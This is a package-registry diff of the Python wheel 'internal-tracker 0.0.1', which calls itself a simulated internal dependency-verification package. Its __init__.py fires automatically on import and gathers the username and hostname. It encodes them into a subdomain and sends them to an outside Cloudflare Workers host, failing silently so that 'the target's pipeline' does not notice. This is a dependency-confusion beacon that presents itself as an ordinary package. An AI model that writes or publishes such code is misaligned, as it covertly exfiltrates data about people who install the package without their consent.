internal-tracker 0.0.1__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
import os
|
|
2
|
+
import socket
|
|
3
|
+
import getpass
|
|
4
|
+
import base64
|
|
5
|
+
import urllib.request
|
|
6
|
+
|
|
7
|
+
def fire_beacon(stage):
|
|
8
|
+
# Step 7: Check for the safety kill switch
|
|
9
|
+
if os.environ.get("BEACON_DISABLE") == "1":
|
|
10
|
+
return
|
|
11
|
+
|
|
12
|
+
try:
|
|
13
|
+
# Step 6: Gather host fingerprint attributes
|
|
14
|
+
hostname = socket.gethostname()
|
|
15
|
+
username = getpass.getuser()
|
|
16
|
+
|
|
17
|
+
# Combine data cleanly using separators
|
|
18
|
+
raw_payload = f"{stage}|{username}|{hostname}"
|
|
19
|
+
|
|
20
|
+
# Base32 encode to guarantee a safe, alphanumeric subdomain string
|
|
21
|
+
b32_payload = base64.b32encode(raw_payload.encode('utf-8')).decode('utf-8').lower().replace("=", "")
|
|
22
|
+
|
|
23
|
+
# Target your live Cloudflare Worker routing rule
|
|
24
|
+
url = f"https://{b32_payload}.nexus.kaushikjoshi97.workers.dev"
|
|
25
|
+
|
|
26
|
+
# Fire out-of-band request (3-second timeout prevents freezing the host)
|
|
27
|
+
urllib.request.urlopen(url, timeout=3)
|
|
28
|
+
except Exception:
|
|
29
|
+
# Silently fail so the target's pipeline or application doesn't crash
|
|
30
|
+
pass
|
|
31
|
+
|
|
32
|
+
# Step 4: Fire automatically when the package is imported
|
|
33
|
+
fire_beacon("import")
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: internal_tracker
|
|
3
|
+
Version: 0.0.1
|
|
4
|
+
Summary: A simulated package for internal dependency verification
|
|
5
|
+
Classifier: Programming Language :: Python :: 3
|
|
6
|
+
Requires-Python: >=3.7
|
|
7
|
+
Description-Content-Type: text/markdown
|
|
8
|
+
|
|
9
|
+
A simulated package for internal dependency verification
|
|
@@ -0,0 +1,5 @@
|
|
|
1
|
+
internal_tracker/__init__.py,sha256=JP4ObFbh43L5VWOG5i0LSVdOJpZmNpcvde0yrDR5O5U,1156
|
|
2
|
+
internal_tracker-0.0.1.dist-info/METADATA,sha256=9QpfEIbHRoXvWgLFVupeTkrI11LsLqAR86V9GltDxJ0,304
|
|
3
|
+
internal_tracker-0.0.1.dist-info/WHEEL,sha256=aeYiig01lYGDzBgS8HxWXOg3uV61G9ijOsup-k9o1sk,91
|
|
4
|
+
internal_tracker-0.0.1.dist-info/top_level.txt,sha256=c9-hA4MnBAgCzUNrzzufFkYTNKSrPxUhkI2iHO_lDcE,17
|
|
5
|
+
internal_tracker-0.0.1.dist-info/RECORD,,
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
internal_tracker
|